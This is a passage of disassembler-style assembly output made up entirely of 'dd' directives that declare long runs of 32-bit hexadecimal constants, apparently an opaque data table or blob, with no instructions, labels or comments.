		dd 976E44Bh, 7D510CD0h,	0FD9C4031h, 18541F1Fh, 85826A32h
		dd 99906B2Ah, 2D6DDF68h, 6980BF6h, 0DB6BF581h, 12B3C919h
		dd 0AAF6136Ah, 7F262DB7h, 7A20ED3Ch, 5E2722A9h,	2CB1DFCh
		dd 5A9C6859h, 0C2814EDDh, 0DC755A1Ah, 0CE9D5174h, 681311E6h
		dd 95A32F5Bh, 7E6BA504h, 7AFC43h, 3FB704DEh, 9E29E94Dh
		dd 415813B7h, 218E36Eh,	0BAC43B1Ah, 42CEF5EAh, 8AF51EC4h
		dd 0F3C827DFh, 0AF080A3Fh, 50828E2Fh, 0D526D2E9h, 81221064h
		dd 58C4821Fh, 7CC400F7h, 8ABA799Bh, 65459A7Dh, 0B85A5FFCh
		dd 0AC40497Ah, 730F8780h, 0D7583116h, 5D688268h, 2FFB4C43h
		dd 67BA6191h, 9242D5Fh,	4605AE2Bh, 0AD454CE2h, 0F6BB4819h
		dd 17E9842Bh, 0BC4E1AFCh, 194E2468h, 75517302h,	1B5A5F87h
		dd 0E232E925h, 3925DC64h, 72A250Eh, 7242AAB7h, 664F4D68h
		dd 96598B4h, 0DEE766Ah,	0E12382FDh, 0D534E8F3h,	10C50281h
		dd 5A73E50Ch, 0F62D3DDAh, 421CFCF1h, 0A45569C0h, 0DCF97D97h
		dd 8455EA27h, 0B0FA5E28h, 0C460D047h, 0F4BA661Eh, 0ED52E86Ah
		dd 0D7660B2Fh, 5B02A2F7h, 0A420C676h, 6EBF2D6Ah, 0FA89E2E7h
		dd 9D9B77D4h, 6E324CC9h, 0ED5C652h, 0F442B801h,	18801E7Eh
		dd 126C773Fh, 0E948F529h, 4A45B12h, 7AB009EFh, 0D3DA43FBh
		dd 0AE680880h, 0F9775562h, 4F545AB6h, 5A6982BAh, 2B584CD4h
		dd 2D55814Bh, 4F499F96h, 2CBD1185h, 84720B05h, 5854BEA1h
		dd 61FF3A55h, 695AE9E7h, 0A3EB0EC3h, 87EF138Bh,	0B4BB3083h
		dd 2158F155h, 29383330h, 131A8F3h, 0D9290E3Ch, 0E964F75Bh
		dd 271697F0h, 3E34D977h, 5450B094h, 0C4425BE9h,	0E9153802h
		dd 96B10C98h, 345A0C03h, 112DD92Ch, 63EA2D81h, 2A3FE19Ah
		dd 5ECED0A4h, 17BFF459h, 12697279h, 8B88900Ch, 0F3D49514h
		dd 0EF215B5Ch, 2CABAC13h, 0A5EE933h, 4BBAA7C0h,	65972F3Fh
		dd 947BB50Ah, 0B04E0BEDh, 6C417C27h, 3D5D2240h,	0BB0348DAh
		dd 58B2ED4Ch, 0AF3A5BDDh, 0DA9A7EB1h, 9EC8EC7Fh, 45E62536h
		dd 0CCA6EA5Eh, 5700272Fh, 81C6840Fh, 1C04DBA4h,	52AC6851h
		dd 0F9A54D8h, 53457031h, 0E955D320h, 4596CD56h,	407FA7BBh
		dd 16C780A3h, 13DFF601h, 7817F163h, 0C578658h, 0EC3098Fh
		dd 3B54EE03h, 30190581h, 10A65463h, 255F1C51h, 3FBCC57Dh
		dd 0FE817E12h, 0F83EB4DDh, 0F8E9A065h, 0B3469F7Eh, 940980B0h
		dd 5F5D6178h, 7E8FAAE9h, 0D07A284h, 0B93C2B29h,	60CE2768h
		dd 3B60BCD2h, 716ACFC1h, 0E7D8F398h, 0E124149Fh, 5410EC43h
		dd 33680946h, 8E15714Ah, 72A038F7h, 0A3409EBDh,	60317725h
		dd 1D7FC57Ch, 8126BE3Dh, 131DBDE5h, 0C21A2018h,	7358237Dh
		dd 70693D70h, 0FD187A60h, 0BFB6FE96h, 1C75D062h, 331538DAh
		dd 0C2294F01h, 70E26853h, 5B731450h, 5E2B9E5Dh,	0EA0452FEh
		dd 4BFEF6D5h, 0FC070117h, 0D977090Dh, 5D9C42B2h, 25AAADA8h
		dd 299E05DFh, 8082AA24h, 2E69DC44h, 656A58C6h, 0ECAFB880h
		dd 0D44E5819h, 992CC003h, 8682E940h, 2D5E4675h,	4A763DC5h
		dd 6925347h, 0CA0DC8EAh, 4A0B1CC6h, 0CBA421h, 1B500E48h
		dd 405801E9h, 6A569DF4h, 80BAE994h, 0D190710Bh,	0B1E0148h
		dd 0DF7962F6h, 11085789h, 535F0B08h, 0E54C6CFFh, 3B9A5FD2h
		dd 65385F41h, 0DE3D3EB8h, 0BEE7B101h, 81A6CC3Ah, 0C455B640h
		dd 74C1A0h, 0B3535052h,	0B7B43828h, 8E13DC3Fh, 4E2EE67Ah
		dd 0EE2F60A1h, 4F8CDB2Ch, 0C6FFFC46h, 98B24003h, 0FEA39F44h
		dd 0BB95F5E9h, 0F2477DE4h, 8D424ACBh, 0AD60F137h, 0C9F7465Bh
		dd 2275570Ch, 505CE9E2h, 0C31F5EBh, 5E0270D9h, 6962FA5Fh
		dd 0C70C8FC0h, 6B17FA84h, 4EAD6743h, 50420841h,	4A0EFA0Bh
		dd 0E1A3E80Ch, 1002AC5h, 0E20A05F8h, 47442B0Fh,	1E51910Ch
		dd 2F6A0ABDh, 0A99F3FD1h, 4BA0CB63h, 6331BA52h,	0BE4FBD01h
		dd 2F3A6572h, 61B6CD3Eh, 0B4F0C2E1h, 0A78F5C9Dh, 0FC86BF85h
		dd 89353E3Ah, 7D137A40h, 332D9100h, 6C0BC4BDh, 0C658C709h
		dd 0CE9122Bh, 0C987B261h, 0AF060752h, 0DBAE17CEh, 0E5E90AFFh
		dd 2CBBB6A9h, 0B9A0BD02h, 0DC17A529h, 61BB27BFh, 0FF3A3357h
		dd 1B80EA34h, 5A3058C1h, 0CAC5A262h, 0DBAA0FC6h, 0D1862A2Fh
		dd 8894BCFEh, 0BDED880h, 0FFDABDC9h, 4BC0467Bh,	0F059F7F2h
		dd 0E6CDB2A0h, 0B35F0C8h, 0B9C53680h, 0A4CC7885h, 5696BE36h
		dd 0C1065925h, 2F839BE9h, 5FDE2945h, 660FFA5h, 9619374h
		dd 197F1DDBh, 0A9E95030h, 0AB13A3B4h, 6FD0F35Dh, 9CB211Eh
		dd 1F8BDB09h, 0C1899BC0h, 0CB94CFEEh, 0DE33310Ch, 1385BFCAh
		dd 9A7DC128h, 588A3ED8h, 80A5583Eh, 0CA689281h,	78F77173h
		dd 8C3A07DEh, 0C160AA51h, 5AA425E2h, 4062FD29h,	31955D08h
		dd 93E9B9Dh, 0F17F30B5h, 83D76937h, 4F4BE402h, 3216AFF7h
		dd 194A9D00h, 3EC3015Fh, 4ED98268h, 675B4F81h, 65FE3A19h
		dd 4788FE20h, 0A34A5F22h, 20D4408Dh, 0EDF59B5Eh, 41FFCCFFh
		dd 7E1D16E0h, 0E1CD317Dh, 2078FD75h, 42184402h,	0CB1874AFh
		dd 0ABA2618h, 7D620361h, 0C044396h, 491E7C58h, 122D0BEh
		dd 7E509738h, 0EE9207A5h, 75BC29Fh, 0E712F79Ch,	5FF5E2FFh
		dd 42301196h, 0BEB975Fh, 0C8712F05h, 0BC009B0Bh, 788664D1h
		dd 5CF8C0C5h, 1051B2BAh, 29244911h, 0BAA0B9F3h,	60A050B7h
		dd 84B11F28h, 57AE1C0h,	0D3006D4Bh, 5A1971BAh, 7E799F67h
		dd 0B6F4227h, 31F760Ch,	47F913C7h, 0B41BC48h, 0E3643546h
		dd 0EAD1D16Ch, 39C6CA0h, 0B834F69Bh, 4C4FD629h,	68B159A8h
		dd 33EA2AB8h, 18DABDFh,	4CCE177Eh, 0BD92EFBEh, 5F2042CCh
		dd 1D2D0ED8h, 2540C947h, 0FB34BDCh, 84E9921Fh, 0DC965FE5h
		dd 487C834Ch, 8BB02FFAh, 6E85840h, 0DB1A6825h, 101D622h
		dd 87201342h, 21304FFAh, 26129D4Ah, 56CB6354h, 7DBDC03Eh
		dd 76200C50h, 2BF0034Dh, 0DDF73EFFh, 0A261D592h, 5E206E44h
		dd 5BE36F7Eh, 12A0C479h, 40CCAB07h, 0CC984F0Bh,	24EC561h
		dd 4E308298h, 3D8DBBC3h, 0E66B44DDh, 1E011828h,	17C2EE79h
		dd 0B013DA7Bh, 8A1C6ECh, 0F8A66E5Bh, 9729EB5Ah,	0B27FFC3Bh
		dd 51546Bh, 6607EEC0h, 454B3A68h, 733D43EAh, 59E3CE30h
		dd 0C675F0A2h, 7A8CBFD5h, 46B58442h, 82602E89h,	3541841Fh
		dd 0C657828Dh, 0F704F7E8h, 50DE0BEAh, 0B2520E40h, 0EEA800Dh
		dd 0E9D0284Fh, 0CAFE31A9h, 0B5DF4350h, 0CC22CE4Ch, 53E1259Fh
		dd 66260545h, 0B6D9E98Eh, 0F493CABh, 454D6813h,	0B04ACCA8h
		dd 0A84C11A6h, 633C1722h, 827A97ABh, 7E5C356Eh,	87F4D851h
		dd 115E9542h, 0BA7EE84Bh, 0F030B760h, 0FB9167B1h, 540BB9Eh
		dd 746821A8h, 4498BF57h, 9C9142D6h, 0D5A15897h,	0B38CED3Bh
		dd 30D9795Ch, 0B83C7C56h, 0B92DEA74h, 1829F023h, 0E84E3F48h
		dd 5B3E763Eh, 4F10469h,	4AB00828h, 0DA180796h, 12E9290Ah
		dd 117E1E64h, 2C582B4Fh
		dd 0C72ABFh, 81197802h,	7B615BCDh, 0DC4D5E38h, 0E6632FD1h
		dd 6EF8314Fh, 7AEA8810h, 2F6C5D54h, 75CB62C3h, 0DB9D2F1Ch
		dd 6575A552h, 82A2E884h, 0D03020B2h, 617E7C57h,	6FE0F9E9h
		dd 0D6A133BCh, 0ECF86BACh, 5C5656B2h, 0AFF99454h, 0F6B422CBh
		dd 0E20C9642h, 4ECDEB41h, 0D204F359h, 3006ABE9h, 9F3E69E9h
		dd 0FD6BC305h, 47AC9055h, 0B7BF5707h, 0F0034769h, 7251A4EFh
		dd 1DE97F16h, 0A2AB20C4h, 7C424827h, 6F0B216Fh,	0FD01E659h
		dd 0A2ED4510h, 0BA50120Ah, 5F40BFEAh, 9086985Ah, 49B00490h
		dd 0EF890EA3h, 0E90D59E7h, 0DBB1770Dh, 592A3FC8h, 0B64EAB5h
		dd 0C80F0708h, 35BE5BCBh, 0A9C8112h, 55D03F5h, 0CE692E90h
		dd 0A550AA67h, 0AB5B2608h, 0E921E9C5h, 38DC5351h, 818AB436h
		dd 337295EAh, 0AF9F7032h, 28D17C82h, 3B370B67h,	2D854492h
		dd 0BC30AE76h, 481FC781h, 0FE508D96h, 0A3631805h, 49C6B607h
		dd 8140EC01h, 4C0BE0C9h, 92C887C2h, 0E97D8A50h,	8A9A5BC8h
		dd 0C2B47B0Dh, 44025F2Ch, 606FD375h, 5C9FC078h,	0BD12F0EDh
		dd 0CE75EA17h, 4AAE4CB4h, 0C706BC12h, 0E2B05655h, 0BC1CB93Ah
		dd 0E6F6C32Ch, 0F5891912h, 0D9C4CBB2h, 0F35A0AB2h, 0E864A610h
		dd 0C638EBFEh, 312B5E4Eh, 15419B93h, 2F139AFFh,	9F7650FFh
		dd 0E9D83BF4h, 602ABA79h, 8E22A43h, 0CC169F6h, 244B7871h
		dd 9C07B42Bh, 6AD4B94Eh, 4F5F50A0h, 0DA24454Fh,	78B2E282h
		dd 59B65E25h, 56A6B02Eh, 3A7F7103h, 5DE20E2Fh, 0DD052C2Fh
		dd 0D889BD57h, 276DEF32h, 610B408Ch, 230056DEh,	0E5816E64h
		dd 685A26A2h, 0B7200D6Ch, 25F6DD40h, 0B2E5E840h, 5C278891h
		dd 6072A8E9h, 0E7C217AFh, 2158C704h, 7E15276Dh,	0EA126DDBh
		dd 0C2852D75h, 623B6E41h, 866DE23Eh, 0B2ACE2Dh,	0CA4A04BAh
		dd 660259D6h, 77357B27h, 0D9584143h, 0AF124AD9h, 0FD7E2DAAh
		dd 80C654D2h, 0D760CCF0h, 0B8E4014Eh, 295B0E63h, 2C896873h
		dd 16950730h, 59765813h, 33417971h, 93F3376Fh, 0FD0EC27Fh
		dd 890840F5h, 39F17DF4h, 307B0B2Dh, 0F782E9D1h,	5C8D1E22h
		dd 3EBEFD0Fh, 0F1689E00h, 0BB10111Ah, 207F9FC7h, 8D437EBFh
		dd 44A15BDBh, 6D38EEE2h, 0D068485Ch, 14779D70h,	85F94B62h
		dd 2FE2FA93h, 539289DFh, 0C198B9D4h, 0B11DF286h, 3F466209h
		dd 48C9DCA0h, 425F2305h, 0BC29CE4h, 0E7D5B9B4h,	5E5DF162h
		dd 9EC3726Eh, 0C629C717h, 0EE02848Bh, 29F407AEh, 2390FA9Ch
		dd 0C63B1006h, 762E5E71h, 3F9F27ACh, 408230FCh,	0F638AB61h
		dd 0BD0720D8h, 3C4CB3C2h, 0E16F09B7h, 20F931B1h, 0C52BB531h
		dd 0BA0E9427h, 7CFC8F2Dh, 0D2C8BFC4h, 67BF075Dh, 4B4A0D5Ah
		dd 64B6350Ah, 6A1DD588h, 0E18129FDh, 1BD3B02h, 6E148083h
		dd 0F7E00FB6h, 0C92EB316h, 0FC10C4F1h, 1685206h, 242F591Fh
		dd 8C5071C7h, 0EE1B518Ch, 0BCE84841h, 0E381672h, 0E400EC59h
		dd 4FBE60B4h, 0C4C4683h, 0C304F5B3h, 792B3B76h,	418FECEEh
		dd 80FD6B08h, 39828D40h, 105C8F25h, 53546748h, 9B549F2Dh
		dd 163E9326h, 0D3965259h, 31101680h, 0EFAB04FDh, 0B670AA5Dh
		dd 109F2A26h, 903C290Fh, 4C5F240Ah, 0EAE59518h,	0FD669D44h
		dd 0C683057Ah, 11F5D35Eh, 0AD3B8FEBh, 0A7E29B27h, 0F0BD57F9h
		dd 7B957592h, 7EA442A2h, 544E1F66h, 56E064BDh, 0CA18B850h
		dd 5F94D105h, 0EDD0A967h, 6672EB2Fh, 35C25D2Eh,	0BDACCEF7h
		dd 0BD74DC7Ch, 6624FBEFh, 9460DF4Bh, 89803997h,	515194FAh
		dd 90843A5Dh, 0DB10A021h, 0F5302E8Bh, 0FFF8BE04h, 40BD2E17h
		dd 0F2268E0h, 574B1A97h, 7956D86Ah, 0F1141062h,	0A256167Fh
		dd 12AE92B6h, 9ECBD2B9h, 3E8DAD78h, 259557ADh, 0A5E85D97h
		dd 2B44E9F1h, 2568D4A4h, 23467129h, 54F1E627h, 0C265EF1Ah
		dd 0E5D5D16Fh, 0F5DDED05h, 8B08A6EBh, 66F66117h, 6341F116h
		dd 81CC80F4h, 727091A1h, 0ED819FC3h, 4DDF6847h,	0EC884451h
		dd 0C9A36E20h, 0D3515E30h, 16655DEBh, 1067CE8Eh, 1F18BE81h
		dd 48D5FADFh, 0C9C7A893h, 7D78EDCFh, 0A5A50E38h, 6DEDE30h
		dd 427F34E9h, 26445B4Eh, 0F8925E59h, 9CA3F831h,	0BAC1C5F4h
		dd 1860978Bh, 0A3751D1h, 5D06A95h, 0B3BF5F08h, 32D05873h
		dd 5131F1C4h, 0B7D8C313h, 0C5A5235Ah, 5FF4923Fh, 0A541C0CAh
		dd 0C7F5C20Ch, 0ADD1AFA6h, 9CEFEA64h, 0BB4C3738h, 86688125h
		dd 0B12E98C1h, 0DCAD3E7Ch, 0F7E35830h, 865CD7EDh, 681C624Dh
		dd 809FD16h, 0F044DF79h, 5F70B3ABh, 3AC82DEEh, 407138CCh
		dd 5A00BF09h, 816AED62h, 355376EFh, 837217E6h, 9876DA1h
		dd 0D8B0C9CDh, 265FF368h, 3E130A22h, 0EC8F6C59h, 806C5C85h
		dd 966278A9h, 39E92609h, 0EA1521A1h, 1E204202h,	68578099h
		dd 7D041E1Dh, 8B4FAF7Dh, 0A24C5DF2h, 0A9FDB482h, 0DE05FF6Dh
		dd 0BF25C86h, 0B56A5AF0h, 0E59B560h, 68D138BFh,	0E9B4A80Ah
		dd 0F7009FA5h, 6D624505h, 5F2D7C00h, 214F7AC9h,	0E623B8C3h
		dd 5B633378h, 0BA04B90Dh, 2EDCE9BAh, 0BEF6B791h, 0B7FD85E0h
		dd 664459DEh, 271C2BFh,	0E85D44F7h, 0DEE9123Eh,	1B24BA43h
		dd 0C229D7FAh, 0AB79A8C8h, 61BAB1B5h, 21BA3A3h,	58745F58h
		dd 40487772h, 4ED24DE2h, 488DB7BFh, 309585B0h, 17FCFED9h
		dd 25E5B816h, 4AC4BA9Ch, 554A2B25h, 0D1F72CECh,	8B016CADh
		dd 28CB2666h, 408A4A4Ch, 0C780024Fh, 0F84B3037h, 5C568BABh
		dd 619213EFh, 28D6EAF4h, 0B0CAB457h, 8C404B1Eh,	0F10BB93Ch
		dd 7F0AF668h, 72E9FB48h, 0FE91605Fh, 2A68F7E6h,	0F6F6B44Ah
		dd 496223FEh, 0DE3D9D68h, 1A228998h, 0B5FFE85Fh, 0ACB62CDCh
		dd 47CB17EFh, 0F246483Fh, 2BF74F0Ch, 74F70B0Eh,	373C03A1h
		dd 0B2724C6Dh, 50706C2Dh, 2E711E0Ch, 6EE9C591h,	1997F967h
		dd 50C9423Fh, 0EBD6D123h, 41DE788Ch, 0F6823E35h, 60445656h
		dd 0B2A2B753h, 0B4280E7Eh, 6D699359h, 0ED61C020h, 954D3A0Dh
		dd 5EB1AC4Ah, 0FC5E8EDEh, 919CB427h, 316640B7h,	7C5BDE2Dh
		dd 7863023Bh, 4C765891h, 3FCE7908h, 2B7449F6h, 473C680Ch
		dd 29BF8A43h, 9EE0DDAAh, 0DE302120h, 4F3D0C0Ch,	68080983h
		dd 73B05254h, 0C6051CF4h, 0B822E91Fh, 0E9936EA2h, 81071304h
		dd 47068753h, 2F768F66h, 3591353Ch, 0E47DE26Bh,	0B2AE2481h
		dd 0D554C9B6h, 0D7046689h, 3CD886B0h, 0B9387B00h, 481A6AE3h
		dd 63D94831h, 4F5CF101h, 0DC495080h, 590446E1h,	51E97506h
		dd 1DBD0AE0h, 0D61A07C0h, 0AFEC09F7h, 0B33B0378h, 0D19BA4B6h
		dd 6D1C21A4h, 20ACC6C1h, 0C1E45AF1h, 0B6520C01h, 0C0123016h
		dd 48A6E148h, 7E66273Ch, 8D5E0BBCh, 5CD348D5h, 0FC2227D5h
		dd 0B5224562h, 0D9FEF4E9h, 0FD12109h, 570A2489h, 73EE2A81h
		dd 0AC7D1AAFh, 4BCE3013h, 8BDDAB3Ch, 0C07328F0h, 0F61BE18h
		dd 0F2F4499Eh, 0E1C15062h, 4C4E61B8h, 2BC5FE01h, 5D0193F9h
		dd 4869BA52h, 75016A87h, 2B7E056Ch, 48FE97Ah, 9206B2FEh
		dd 0E33EFAB1h, 0C8A85F7Ch, 5DCF9C4Eh, 0F65681Ch, 0F065DD27h
		dd 524079BCh, 13C995A2h, 406B60DFh, 0E3840A82h,	4A83823Ch
		dd 5731C60Ah, 0B06E8D82h, 0D504000Bh, 0F6C08A92h, 176C6009h
		dd 0D447B4C3h, 92FCCC5Bh, 0EB97D14Ah, 1584535h,	3B58CBC1h
		dd 93CC8251h, 0D736E403h, 94A26C05h, 0A4B70B77h, 7D6985F4h
		dd 63B0EFE5h, 96761A68h, 1835129h, 0AE3A55E9h, 8E371741h
		dd 53AAD8Fh, 0AB590822h, 0CD0A9CE6h, 891F132h, 0BF01EB91h
		dd 566807C3h, 50306838h
		dd 0A43F68Eh, 50891E25h, 84885DCDh, 1887BB03h, 0FCD1609Bh
		dd 0ED7B9374h, 0D5925EAEh, 0EB4BA461h, 0EA4BE92Bh, 898F7C8Ah
		dd 12E8CE93h, 0ABAC70E6h, 6E7CC6C9h, 45FABA60h,	5F7F7DFFh
		dd 0EBAD12EDh, 0AF45719Ah, 68550641h, 2AEE9381h, 350EFABEh
		dd 0FFEB0531h, 8299BE97h, 7D833281h, 446C2D98h,	6F8E7997h
		dd 0FCDFFDA5h, 733CDA99h, 295FA5D0h, 0C2DAD6F4h, 0F702BED5h
		dd 7C6FCD3h, 0B61F0DCBh, 0E9191026h, 0F54FB17Fh, 0B2884C4h
		dd 5DEF89F3h, 8F96108h,	752576E3h, 0B15FD546h, 15BA5913h
		dd 0EA07CCDDh, 0EDEF0D5Dh, 0FDE56FC2h, 0F6900B6Bh, 0B9047D58h
		dd 61EC6084h, 6A2682h, 6B4413B8h, 17354818h, 90C6010Bh
		dd 88D7B0E4h, 0FBE56CFh, 39993F1Ah, 40F2B56Fh, 6279BFD5h
		dd 5BEC4C01h, 6270719Fh, 0F8C97CE9h, 6A1E7B5Fh,	2B0DD64Ah
		dd 0C42FB400h, 17CEBF25h, 0BC438464h, 8B813955h, 817D5260h
		dd 0F34C7C9h, 0AF2B48DDh, 0B723890Fh, 0A2A512B8h, 30BE5BE3h
		dd 29756803h, 0AE62F496h, 208D7AFCh, 0AC1C5E30h, 0F831F2Ch
		dd 0A704D828h, 43942EE4h, 3E318FFAh, 16CF5730h,	70BE31D7h
		dd 68505FABh, 278C7ABDh, 0A6810CE9h, 0F907E0C0h, 0F6652086h
		dd 580BD164h, 12EDAAh, 0B94B29B8h, 16543572h, 0F8333067h
		dd 0F1E05B95h, 0F8A434AEh, 0EADB13E0h, 0FF5FE9F6h, 47C23C74h
		dd 124C5F4Ah, 63C1FC5Bh, 94216852h, 0E2053573h,	102BE04Bh
		dd 0D310DFBDh, 0E3810264h, 82902C7Dh, 474DDFF3h, 0AEF62FA2h
		dd 0D2DE0452h, 0A031B4AEh, 8FEA504Ah, 0A7302A99h, 4461409Fh
		dd 171170Eh, 84610DFh, 9672E240h, 3214272Ch, 42FFF39Dh
		dd 5904A18Dh, 0F98091AAh, 0C29B8B46h, 0A5507C58h, 5FD0067Dh
		dd 0A162DEAh, 5D160BE5h, 0E08052B9h, 684BCF2Fh,	0C4D1D35Bh
		dd 1D5D0FE5h, 81324160h, 875FC258h, 0DEB264E8h,	3FCEE82Ah
		dd 0D2699C32h, 4B7EEE62h, 0BA1DDF2Dh, 0D03D2525h, 0BF008FA5h
		dd 0A6EC79E9h, 4AC2F0A4h, 0DF61E81Eh, 774550C5h, 0B730F90Dh
		dd 0F969533Bh, 0C1D45EACh, 14A0D1BEh, 0C501286Eh, 0AB91623Ah
		dd 0AFCE9068h, 0E0B6C46Eh, 6431FBCDh, 0C2D8F4D3h, 0BF3D4A5Eh
		dd 398887D8h, 0D1AF51C2h, 24F0335Dh, 81776842h,	3F4E1835h
		dd 2065D463h, 0EBDAF7Dh, 448885C1h, 0D938A74Ch,	13ECB35Bh
		dd 0E12CBF14h, 0EB85BE9h, 963F3198h, 2B370C52h,	0BA0B6356h
		dd 8AD658A1h, 0E9042840h, 74AA7BB0h, 0C40EB30Ah, 0F6FDDAE9h
		dd 0AFE9F76h, 0DD26A22Fh, 89AB6843h, 0BE4AB7D5h, 7E032254h
		dd 13294758h, 0F90112h,	3B2363B4h, 0F63E816Bh, 2C4F7854h
		dd 0EA4B27ECh, 97CAAB8Ch, 3303B075h, 0DDBCC630h, 5C761416h
		dd 0F565F027h, 0C3DDBF29h, 703BB094h, 526C009Fh, 7315BB53h
		dd 7DB0297Ch, 9D480CE8h, 1379171Ch, 0FE97B5ECh,	0EFC3DDC7h
		dd 6654078Ch, 944B4EBDh, 0EE17AB8Fh, 56E5E1C9h,	5FAEF76Fh
		dd 965E0D03h, 0C0D0F11h, 0C58053ACh, 0A8018005h, 396EE8BDh
		dd 1DA497E3h, 7B088240h, 5DB4861h, 668213C7h, 2FFBE443h
		dd 0ADD135E4h, 24AA5014h, 0AFBFF90Bh, 0F2AEC8CCh, 1E442E8Eh
		dd 83370B5Dh, 0BF00C5E7h, 1EC44113h, 287B04BEh,	0EA29453Fh
		dd 63CF68C1h, 81D24A3Ch, 7D4CB773h, 46F784D2h, 0C50320E2h
		dd 0F58DAD8Ch, 0E0F6E54Ah, 436158DAh, 5455C237h, 85C152F7h
		dd 9A96D21h, 2B2CEB6h, 4419F523h, 0F3D97E89h, 79AC49C0h
		dd 927D9015h, 2DBC0968h, 0A7022F6Fh, 995D6351h,	0F44BD3Ch
		dd 0FB4A72BCh, 5E177788h, 0C443E333h, 55E82E76h, 850CB992h
		dd 56EA0C1Dh, 476816BFh, 0E257B02Ah, 25D4584Bh,	8E15E64Fh
		dd 0B9510048h, 4D39116Dh, 0B407E181h, 411FC150h, 0E6838E7Eh
		dd 0C1A46EDh, 3E6669AFh, 6076ACBCh, 0A9311224h,	828BF5A5h
		dd 6E7F55C2h, 19F79546h, 0D4259B73h, 94E58320h,	548A4CB3h
		dd 23B03310h, 39086704h, 69D0EE2Ch, 66C005F1h, 0DDB73A80h
		dd 545C292Fh, 85F14918h, 4495D96Bh, 8CE90283h, 0EA965A2Dh
		dd 1D6D279Ch, 64411C61h, 0B0AE5A4Bh, 7A68292Dh,	31665AFDh
		dd 97A32D00h, 0F2AC631Bh, 0C902347Ah, 0C309AB14h, 31F1A186h
		dd 133F58C3h, 0CD2CFB3Eh, 2D3F5410h, 71260BBBh,	13D5015Ah
		dd 0C184BD7Ch, 0FAE90C04h, 2D3F93B8h, 3D651C9Fh, 705D094h
		dd 9502B54h, 4BA4E954h,	0ADBF29A1h, 2A89D1A2h, 1B8154ABh
		dd 3061DC12h, 799CBDEFh, 0F5AB3D7Fh, 8C708792h,	42AA7B97h
		dd 0DD0B01EFh, 46A39000h, 0E8F41CC1h, 0DC926BBEh, 0F0BDA2F0h
		dd 31710710h, 0B60E1CB9h, 81026915h, 1147C8C9h,	0E8005742h
		dd 3B4A1B6Fh, 0B6B9818Ah, 0D1609848h, 0BC395937h, 257EE64Dh
		dd 15E47C2Ah, 736380A0h, 0F3F78F82h, 37A24060h,	264E633Bh
		dd 0DF2D282Bh, 0AD34FCC1h, 0EF968945h, 16BF53BBh, 0D642BA5Ch
		dd 665C7DE9h, 286812E5h, 9381F921h, 0EB32E00h, 5A424FD1h
		dd 0DE6FB292h, 52017FEDh, 60F85E0Ch, 0EE0F252h,	0EF4BD028h
		dd 0D552E92Eh, 0AF655892h, 42533A4h, 81E6ECD0h,	794FEEDh
		dd 4F7B5AA8h, 0E4F0E8A6h, 1B25B300h, 61E930D4h,	0A968BB7Ch
		dd 49B36F2Ch, 6FAEBB00h, 0D8E96B22h, 0BFFA20B7h, 7B63541Fh
		dd 9B4B45h, 737C05FFh, 0F7485B5Fh, 32F410ACh, 68EAD10Dh
		dd 0A6E2C377h, 6D5ECEA7h, 0FF3CA5DCh, 2420649Ch, 0FC5650DAh
		dd 425D821Dh, 29292476h, 0C95B9E83h, 0AF230FD0h, 92BD84Fh
		dd 6EF14F0Bh, 0F5219055h, 6CE4BF4Ah, 0DE02D0Bh,	0BD10240h
		dd 0F545CA94h, 5BC930E3h, 3512809Ch, 24327E3Dh,	58C61C21h
		dd 7B967F4Eh, 1623B3D5h, 9BB31431h, 4929AF58h, 0AB5492ABh
		dd 943CAA2Dh, 7D88E218h, 6D64AD3h, 0BB9AACCh, 10215BDDh
		dd 13311CDDh, 2047EBE9h, 991D6374h, 0C37B7276h,	78DFD516h
		dd 0A82E6DB4h, 922B7E6h, 0E7D0C7FEh, 200D4E7Ch,	0FF300C28h
		dd 5CB54053h, 550F9CB8h, 8B6CBA22h, 5780A961h, 0B4AE0FEFh
		dd 44686A88h, 0E867F528h, 47B73DD3h, 93CAA613h,	0AAB7846Ah
		dd 0EB5E2B8Eh, 0DD3BD869h, 3DBB2F03h, 885F793Ch, 10FC0814h
		dd 0E4E8880Eh, 0B0AC312Fh, 1374A0D4h, 0C4521F37h, 0FBB900B4h
		dd 68E63ACFh, 1A2AEA2Ch, 538D6C2h, 21135Fh, 1B6559ADh
		dd 7C24680Bh, 0E9625E5Eh, 0EEC5CBBh, 0EA4DD531h, 140E6C08h
		dd 81B70D42h, 0AF7189A0h, 0DDEFB1ECh, 2C1F0B60h, 4C80D83h
		dd 0C78859A0h, 3495E595h, 0E9FD0307h, 532F7043h, 9DA51C3h
		dd 64776B63h, 74C20013h, 89523ED7h, 0DD985AD3h,	74ABD64Ah
		dd 0E9B031BEh, 5F1F3CEEh, 0B6E43FFDh, 0CEBE4ED4h, 0E7EC5FEEh
		dd 0E9C30E42h, 0EA851C6Bh, 2C7D8CA7h, 6B73EF16h, 970C0F56h
		dd 6B7E1F62h, 7C010A54h, 0E4C598EEh, 0F54889ABh, 45052F80h
		dd 0E1AFBED8h, 54062EF2h, 15BF685Dh, 0E7D6251Bh, 0C9D798DFh
		dd 1F2DD64Fh, 0C421F40Eh, 72A4BB2Ch, 8D3C5E91h,	0BF173B2h
		dd 0B0633D68h, 2611F014h, 284F1B2Fh, 0B1454A3Ch, 0CEF3D8CBh
		dd 8FA37509h, 0B0E74001h, 6F31813Ah, 0EB7EA01Eh, 8212FEC7h
		dd 739862Ah, 0F5D209DFh, 4B85ACEAh, 0C13C246Ah,	0E13307D3h
		dd 367C30D9h, 0D5E828D7h, 0F2E902B0h, 88095CBEh, 0D82782E6h
		dd 52E7D5CCh, 9CF173Fh,	5CC17EB7h, 6F4DBFE9h, 0A017CE92h
		dd 986855ECh, 9ECB72Ah,	588A4117h, 0C7E0EA67h, 4A30E951h
		dd 0EBB975C1h, 0E9094CA6h, 595D3AB8h, 0EDD16281h, 1A0DEDC0h
		dd 810C2B01h, 1B4B4FCAh, 4AC2017Fh, 6F960612h, 0CD26BEC3h
		dd 7BB2B6FFh, 4BE93A59h
		dd 0C2B067EDh, 0E2270AB8h, 8C5A829h, 6832FF02h,	0F18771Bh
		dd 4F171ABDh, 0D4BA2DEBh, 1BB09A2h, 86BE5F61h, 0F721B6A0h
		dd 80327FE0h, 430A6853h, 0E4179457h, 364EB01h, 0EA402252h
		dd 671E6DC8h, 12A30C44h, 79D613F0h, 422FDD26h, 0DE795F95h
		dd 0CE05E869h, 15860901h, 860BDAF7h, 0EA59A685h, 26BD850Bh
		dd 97A5A8Dh, 637B7660h,	0E9424DDCh, 31F9A66Ch, 0C1574B30h
		dd 0F9CE014Dh, 2E552503h, 0DC16A221h, 0CB9E1762h, 58218B4Dh
